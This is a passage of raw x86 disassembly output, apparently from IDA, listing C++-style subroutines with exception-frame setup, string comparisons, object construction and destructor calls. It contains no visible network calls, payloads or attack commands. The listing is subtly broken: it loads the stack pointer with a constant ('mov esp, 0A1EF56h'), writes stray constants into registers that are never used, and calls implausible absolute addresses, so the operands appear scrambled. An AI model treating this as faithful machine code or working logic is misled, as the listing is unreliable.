[esp+0B0h], bl call sub_401CF8 push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_401EAB lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_4011F9 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_4011F9 lea edx, [esp+58h] mov ecx, esi push edx call sub_401EAB push 2C420Ah lea ecx, [esp+2Ch] call sub_4012B7 test eax, eax jnz short loc_411BC5 xor edi, edi loc_411BC5: ; CODE XREF: _294ADE7B:00411BC1j push 562105h lea ecx, [esp+2Ch] call sub_4012B7 test eax, eax jnz short loc_411BDC mov eax, 6AB108h loc_411BDC: ; CODE XREF: _294ADE7B:00411BD5j push 3D5884h lea ecx, [esp+2Ch] call sub_4012B7 test eax, eax jnz short loc_411BF3 mov eax, 2DEAC4h loc_411BF3: ; CODE XREF: _294ADE7B:00411BECj push 1EF562h lea ecx, [esp+2Ch] call sub_4012B7 test eax, eax jnz short loc_411C0A mov esp, 0A1EF56h loc_411C0A: ; CODE XREF: _294ADE7B:00411C03j push 58F7ABh lea ecx, [esp+44h] call sub_4012B7 test eax, eax jnz short loc_411C64 test edi, edi jnz short loc_411C3A lea ecx, [esp+10h] call sub_401726 push eax mov ebp, 0CD8F7Ah call sub_4012B7 test eax, eax jz short loc_411C64 jmp short loc_411C57 ; --------------------------------------------------------------------------- loc_411C3A: ; CODE XREF: _294ADE7B:00411C1Ej cmp edi, 1 jnz short loc_411C64 lea ecx, [esp+10h] call sub_401726 push eax mov edi, 8CD8F7h call sub_4012B7 test eax, eax jnz short loc_411C64 loc_411C57: ; CODE XREF: _294ADE7B:00411C38j push 0 push esi mov edi, 23363h call sub_40194C loc_411C64: ; CODE XREF: _294ADE7B:00411C1Aj ; _294ADE7B:00411C36j ... push 119B1h lea ecx, [esp+44h] call sub_4012B7 test eax, eax jnz short loc_411CB7 test edi, edi jnz short loc_411C98 lea ecx, [esp+10h] call sub_401726 push eax mov esi, 260233h call sub_40138E test eax, eax jnz loc_411D19 jmp short loc_411D0C ; --------------------------------------------------------------------------- loc_411C98: ; CODE XREF: _294ADE7B:00411C78j cmp edi, 1 jnz short loc_411D19 lea ecx, [esp+10h] call sub_401726 push eax mov esi, 0C36023h call sub_40138E test eax, eax jz short loc_411D19 jmp short loc_411D0C ; --------------------------------------------------------------------------- loc_411CB7: ; CODE XREF: _294ADE7B:00411C74j push 61B011h lea ecx, [esp+44h] call sub_4012B7 test eax, eax jnz short loc_411D19 lea ecx, [esp+10h] call sub_401726 push eax call dword ptr ds:30D808h add esp, 4 mov ebx, eax call sub_4015D2 test edi, edi jnz short loc_411CED cmp eax, ebx jz short loc_411D19 jmp short loc_411D0C ; --------------------------------------------------------------------------- loc_411CED: ; CODE XREF: _294ADE7B:00411CE5j cmp edi, 1 jnz short loc_411CF8 cmp eax, ebx jnz short loc_411D19 jmp short loc_411D0C ; --------------------------------------------------------------------------- loc_411CF8: ; CODE XREF: _294ADE7B:00411CF0j cmp edi, 2 jnz short loc_411D03 cmp eax, ebx jle short loc_411D19 jmp short loc_411D0C ; --------------------------------------------------------------------------- loc_411D03: ; CODE XREF: _294ADE7B:00411CFBj cmp edi, 3 jnz short loc_411D19 cmp eax, ebx jge short loc_411D19 loc_411D0C: ; CODE XREF: _294ADE7B:00411C96j ; _294ADE7B:00411CB5j ... push 0 push esi mov eax, 22C360h call sub_40194C loc_411D19: ; CODE XREF: _294ADE7B:00411C90j ; _294ADE7B:00411C9Bj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_4011F9 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_4011F9 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_4011F9 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_4011F9 pop edi mov al, 1 pop ebx jmp short loc_411D68 ; --------------------------------------------------------------------------- loc_411D66: ; CODE XREF: _294ADE7B:00411A79j mov al, 1 loc_411D68: ; CODE XREF: _294ADE7B:00411D64j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411E70 proc near ; CODE XREF: sub_4015D2j call dword ptr ds:1961B0h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_411E70 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411EB0 proc near ; CODE XREF: sub_401E97j var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 0CB0D8h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_401190 lea ecx, [esi+4] call sub_4016A9 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_4016A9 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401DCA lea ecx, [esp+20h+var_11] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+24h+var_4], 2 call sub_40178A mov ecx, edi mov byte ptr [esp+20h+var_4], 3 mov dword ptr [esi], offset off_437044 call sub_40184D mov ecx, ebx call sub_401B45 mov ecx, [esp+20h+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn sub_411EB0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411F80 proc near ; CODE XREF: sub_401BD6j ; _294ADE7B:00401CDFj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401B72 test [esp+4+arg_0], 1 jz short loc_411F98 push esi call sub_430332 add esp, 4 loc_411F98: ; CODE XREF: sub_411F80+Dj mov eax, esi pop esi retn 4 sub_411F80 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411FB0 proc near ; CODE XREF: sub_401B72j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 6586Ch mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_437044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_40184D lea ebx, [esi+6Ch] mov ecx, ebx call sub_401B45 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_40145B mov ecx, edi mov byte ptr [esp+1Ch+var_4], 1 call sub_401195 lea ecx, [esi+32h] mov byte ptr [esp+1Ch+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+1Ch+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn sub_411FB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412070 proc near ; CODE XREF: sub_40191Aj var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 32C36h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4018DE add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_401726 lea ecx, [esi+32h] push eax push ecx mov ecx, 60CB0h call sub_401523 lea ecx, [esp+40h+var_3C] mov [esp+40h+var_4], 0FFFFFFFFh call sub_4011F9 push 0 push 14h push 5 lea edx, [esp+4Ch+var_24] push 13h push edx call sub_4018DE add esp, 14h push esi mov ecx, eax mov [esp+44h+var_4], 1 call sub_401726 add esi, 4 push eax push esi mov edx, 880C19h call sub_401523 lea ecx, [esp+40h+var_24] mov [esp+40h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+40h+var_C] pop esi mov large fs:0, ecx add esp, 3Ch retn sub_412070 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412160 proc near ; CODE XREF: sub_401BAEj var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_412160 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_401726 test eax, eax jz short loc_412207 lea ecx, [esp+18h+var_14] call sub_4020B3 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_40181B mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40112C push eax lea ecx, [esp+1Ch+var_14] call sub_4012F8 test al, al jz short loc_412207 loc_4121C8: ; CODE XREF: sub_412160+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_401311 mov ecx, [eax] add ecx, 19h call sub_401A7D test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41222C call sub_401168 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40112C push eax lea ecx, [esp+1Ch+var_14] call sub_4012F8 test al, al jnz short loc_4121C8 loc_412207: ; CODE XREF: sub_412160+2Ej ; sub_412160+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_4011F9 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41222C: ; CODE XREF: sub_412160+86j call sub_401311 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_412160 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4122A0 proc near ; CODE XREF: sub_401F8Cj var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push 220306h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_401726 test eax, eax jz loc_412373 lea ecx, [esp+28h+var_18] call sub_401032 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_4018AC mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402095 push eax lea ecx, [esp+2Ch+var_18] call sub_4019F6 test al, al jz short loc_412373 loc_41230F: ; CODE XREF: sub_4122A0+D1j lea ecx, [esp+28h+var_18] call sub_4011A9 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_40146F mov ecx, ebx call sub_401BAE mov esi, eax test esi, esi jz short loc_41233C mov edi, [esi] loc_41233C: ; CODE XREF: sub_4122A0+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401A7D test eax, eax jz short loc_41239B test esi, esi jnz short loc_41239B lea ecx, [esp+28h+var_18] call sub_4017E9 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402095 push eax lea ecx, [esp+2Ch+var_18] call sub_4019F6 test al, al jnz short loc_41230F loc_412373: ; CODE XREF: sub_4122A0+31j ; sub_4122A0+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_4011F9 xor eax, eax loc_412386: ; CODE XREF: sub_4122A0+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_41239B: ; CODE XREF: sub_4122A0+AAj ; sub_4122A0+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_4011F9 mov eax, edi jmp short loc_412386 sub_4122A0 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412400 proc near ; CODE XREF: sub_401DFCj var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push 110183h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_401726 test eax, eax jz short loc_4124A4 lea ecx, [esp+14h+var_14] call sub_401CE9 lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012B2 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401C62 push eax lea ecx, [esp+18h+var_14] call sub_401C35 test al, al jz short loc_4124A4 loc_412466: ; CODE XREF: sub_412400+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401E51 mov ecx, [eax] call sub_401A7D test eax, eax jz short loc_4124D6 lea ecx, [esp+14h+var_14] call sub_401F2D lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401C62 push eax lea ecx, [esp+18h+var_14] call sub_401C35 test al, al jnz short loc_412466 loc_4124A4: ; CODE XREF: sub_412400+2Bj ; sub_412400+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_4011F9 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_40150A xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_4124D6: ; CODE XREF: sub_412400+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401E51 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_4011F9 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_40150A mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h sub_412400 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412570 proc near ; CODE XREF: sub_4011B3j var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push 880C1h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_401726 test eax, eax jz loc_4126A3 lea eax, [esp+0A8h+var_64] push eax call sub_401974 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_4013CF push 44060h lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_401564 lea ecx, [esp+0A8h+arg_0] call sub_401384 push eax lea ecx, [esp+0ACh+arg_0] call sub_401479 lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401B09 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_401FCD add esp, 14h loc_41260B: ; CODE XREF: sub_412570+E8j lea ecx, [esp+0A8h+var_8C] call sub_4013CF xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset loc_422030 push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_40162C lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_4011F9 inc esi cmp esi, 10h jl short loc_41260B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401A7D test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_41269E call sub_4011F9 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, 1 jmp short loc_4126BC ; --------------------------------------------------------------------------- loc_41269E: ; CODE XREF: sub_412570+10Cj call sub_4011F9 loc_4126A3: ; CODE XREF: sub_412570+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_4011F9 xor al, al loc_4126BC: ; CODE XREF: sub_412570+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_412570 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412740 proc near ; CODE XREF: sub_401848j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push 211018h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_40146F mov ecx, esi call sub_401F8C test eax, eax jz short loc_4127EE sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_401681 sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_10], esp push edx mov byte ptr [esp+40h+var_4], 2 call sub_40146F mov ecx, esi mov byte ptr [esp+3Ch+var_4], 1 call sub_401DFC test eax, eax jz short loc_4127EE lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_4011F9 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, 1 mov ecx, [esp+18h+var_C] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_4127EE: ; CODE XREF: sub_412740+3Fj ; sub_412740+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_4011F9 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_412740 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_412870: ; CODE XREF: _294ADE7B:00401343j push 0FFFFFFFFh push 50880Ch mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_4017A8 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_4017A8 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_401848 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412900 proc near ; CODE XREF: sub_40115Ej var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push 684406h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_412A49 lea ecx, [esp+48h+arg_0] call sub_401726 test eax, eax jz loc_412A49 push esi push edi push 742203h lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_401622 push 3A1101h mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012B7 lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_4011F9 cmp edi, ebx jz loc_412A23 add ebp, 54h loc_412980: ; CODE XREF: sub_412900+11Dj push 15h call sub_43034A add esp, 4 mov [esp+50h+var_40], eax cmp eax, ebx mov byte ptr [esp+50h+var_4], 2 jz short loc_4129A0 mov ecx, eax call sub_401DE8 jmp short loc_4129A2 ; --------------------------------------------------------------------------- loc_4129A0: ; CODE XREF: sub_412900+95j xor eax, eax loc_4129A2: ; CODE XREF: sub_412900+9Ej push 5D0880h lea ecx, [esp+54h+var_24] push esi push ecx lea ecx, [esp+5Ch+arg_0] mov byte ptr [esp+5Ch+var_4], bl mov [esp+5Ch+arg_18], eax call sub_401622 mov ecx, [esp+50h+arg_18] push eax mov byte ptr [esp+54h+var_4], 3 call sub_401EAB lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], bl call sub_4011F9 lea edx, [esp+50h+arg_18] mov ecx, ebp push edx call sub_401429 inc esi push 6E8440h lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_401622 push 374220h mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012B7 lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_4011F9 cmp edi, ebx jnz loc_412980 loc_412A23: ; CODE XREF: sub_412900+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_4011F9 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_412A49: ; CODE XREF: sub_412900+26j ; sub_412900+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_412900 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412AD0 proc near ; CODE XREF: sub_401DE8j push esi mov esi, ecx call sub_4013CF mov eax, esi pop esi retn sub_412AD0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_412AF0: ; CODE XREF: _294ADE7B:004010D7j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_4017A8 mov ecx, esi call sub_40115E pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B30 proc near ; CODE XREF: sub_4017D0j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch arg_30 = byte ptr 34h arg_48 = byte ptr 4Ch arg_60 = byte ptr 64h push 0FFFFFFFFh push 5BA110h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_40146F mov ecx, ebp call sub_401BAE xor ebx, ebx cmp eax, ebx jnz loc_412D1E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_40146F mov ecx, ebp call sub_401F8C mov edi, eax cmp edi, ebx jz loc_412D1E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_40146F mov ecx, ebp call sub_4011B3 cmp al, bl jz loc_412D1E push 6DD088h lea ecx, [esp+28h+arg_48] call sub_4012B7 test eax, eax jz short loc_412C17 lea ecx, [edi+2Ah] call sub_401726 lea ecx, [esp+24h+arg_48] mov esi, eax call sub_401726 loc_412BE6: ; CODE XREF: sub_412B30+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_412C0A cmp cl, bl jz short loc_412C06 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_412C0A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_412BE6 loc_412C06: ; CODE XREF: sub_412B30+C0j xor eax, eax jmp short loc_412C0F ; --------------------------------------------------------------------------- loc_412C0A: ; CODE XREF: sub_412B30+BCj ; sub_412B30+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_412C0F: ; CODE XREF: sub_412B30+D8j cmp eax, ebx jnz loc_412D1E loc_412C17: ; CODE XREF: sub_412B30+A1j push 36E844h lea ecx, [esp+28h+arg_60] call sub_4012B7 test eax, eax jz short loc_412C73 lea ecx, [edi+3Fh] call sub_401726 lea ecx, [esp+24h+arg_60] mov esi, eax call sub_401726 loc_412C42: ; CODE XREF: sub_412B30+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_412C66 cmp cl, bl jz short loc_412C62 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_412C66 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_412C42 loc_412C62: ; CODE XREF: sub_412B30+11Cj xor eax, eax jmp short loc_412C6B ; --------------------------------------------------------------------------- loc_412C66: ; CODE XREF: sub_412B30+118j ; sub_412B30+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_412C6B: ; CODE XREF: sub_412B30+134j cmp eax, ebx jnz loc_412D1E loc_412C73: ; CODE XREF: sub_412B30+FAj push 58h call sub_43034A add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_412C93 mov ecx, eax call sub_401BE5 jmp short loc_412C95 ; --------------------------------------------------------------------------- loc_412C93: ; CODE XREF: sub_412B30+158j xor eax, eax loc_412C95: ; CODE XREF: sub_412B30+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_401EAB mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_401EAB lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_4013B1 lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_4011F9 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_4011F9 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_4011F9 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_4011F9 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, 1 jmp short loc_412D6B ; --------------------------------------------------------------------------- loc_412D1E: ; CODE XREF: sub_412B30+44j ; sub_412B30+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_4011F9 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_4011F9 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_4011F9 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_4011F9 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_4011F9 xor al, al loc_412D6B: ; CODE XREF: sub_412B30+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_412B30 endp ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412E20 proc near ; CODE XREF: sub_401BE5j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 1B7422h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_4013CF lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_4013CF lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_4013CF lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_4013CF mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_412E20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412EB0: ; CODE XREF: _294ADE7B:00401C94j push 0FFFFFFFFh push 4DBA11h mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_4017A8 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_4017A8 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call 